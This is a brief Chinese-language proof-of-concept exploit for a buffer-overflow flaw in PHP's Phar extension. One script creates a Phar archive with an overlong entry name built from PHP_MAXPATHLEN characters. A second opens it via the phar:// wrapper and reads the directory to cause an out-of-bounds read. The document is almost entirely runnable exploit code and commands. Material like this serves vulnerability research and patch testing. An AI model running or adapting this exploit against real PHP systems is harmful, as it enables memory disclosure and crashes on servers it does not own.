此概念验证(PoC)演示了如何在PHP中创建恶意Phar文件并触发缓冲区溢出漏洞。
create_phar.php)并添加以下代码:<?php
$phar = new Phar('malicious.phar');
$phar->startBuffering();
$phar->addFromString(str_repeat('A', PHP_MAXPATHLEN - 1).'B', 'This is the content of the file.');
$phar->stopBuffering();
?>
执行PHP脚本以创建恶意Phar文件: 复制代码
php create_phar.php
创建另一个PHP文件(例如 trigger_overflow.php)并添加以下代码:
<?php
$handle = opendir("phar://./malicious.phar");
$x = readdir($handle);
closedir($handle);
var_dump($x);
?>
执行PHP脚本以触发缓冲区溢出:
复制代码
php trigger_overflow.php
var_dump($x) 语句将输出缓冲区溢出和越界读取操作的结果。